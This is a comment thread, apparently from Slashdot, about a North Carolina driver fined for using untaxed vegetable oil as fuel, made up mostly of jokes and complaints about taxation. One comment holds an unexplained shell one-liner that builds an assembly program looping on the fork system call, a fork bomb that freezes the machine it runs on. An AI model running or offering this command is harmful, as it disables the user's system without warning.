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NC Man Fined For Using Vegetable Oil As Fuel
mdsolar writes "The News and Observer reports on an Charlotte, NC driver who has been fined $1000 for not paying a fuel tax when he fills his tank with vegetable oil. Perhaps the funniest quote is this one: '"With the high cost of fuel right now, the department does recognize that a lot of people are looking for relief," said Reggie Little, assistant director of the motor fuel taxes division. "We're not here to hurt the small guy, we're just trying to make sure that the playing field is level."' Sure, since the field is so plainly tilted against Arab oil interests."
Does anyone else get hungry when they smell biodiesel exhaust? Reminds me of McDonald's.
Damn Yankees.
You sir, amuse me.
If you mod me down, I will become more powerful than you can imagine....
So you are saying you would not rat out a neighbor that runs one of his two cars on dead babies and the other one on powdered plutonium?
Incidentally, I am looking for a nice suburban house with a two-car garage...
People we are getting robbed blind here and punished anytime we try to make a decision for ourselves.
Welcome to the New World Order. Oh, and expect a visit from the police soon, dissenter. Don't worry, we'll make up the charges when we get there.
Seven puppies were harmed during the making of this post.
Time to get really nervous if you have to push your car...
I've fallen off your lawn, and I can't get up.
These are not the oil-rich targets you're looking for.
.. paranoid crackpot leftover from the days of Amiga.
I hope he pays in pennies. Dumptrucked to the front steps of the courthouse.
We are all just people.
Fortunately, the options people have are a slight bit more subtle than that. There is a middle ground between apathy and packing up and moving out.
Yeah, armed insurgency is an option too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, they DO offer pretty good protection in exhange for their cut: firemen, police, courts, health inspections, traffic safety regulations etc. Just think what a shame it would be if some kind of an accident were to happen and you didn't have government to protect you!
Next /. headline, "NC Man charged fuel tax for pushing car through a drive-thru."
What if the judge makes him wait while they count it all?
Yeah, you could write a disapproving letter to the state government. That will show them !
Forget magic. Any technology distinguishable from divine power is insufficiently advanced.
As long as the dumptruck ran on vegetable oil, I wouldn't have a problem with that.
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If you want to sit I'll tax your seat
If you take a walk I'll tax your feet...
Rampant carbon sequestration destroyed the Dinosaurs' tropical paradise. I'm here to help repair the damage.
If one is street legal, fully taxed diesel; how does Johnny Law prove that this guy was running on the untaxed grease at the time of the arrest?
By the french fry smell.
The answer: YABBA DABBA DOOO!
If they tax the Sun, then we shall drive in the Shade...
Oh really? Better have them yank this then...
Ita erat quando hic adveni.
...but only if the dump truck is running on WVO. The irony coup de grace.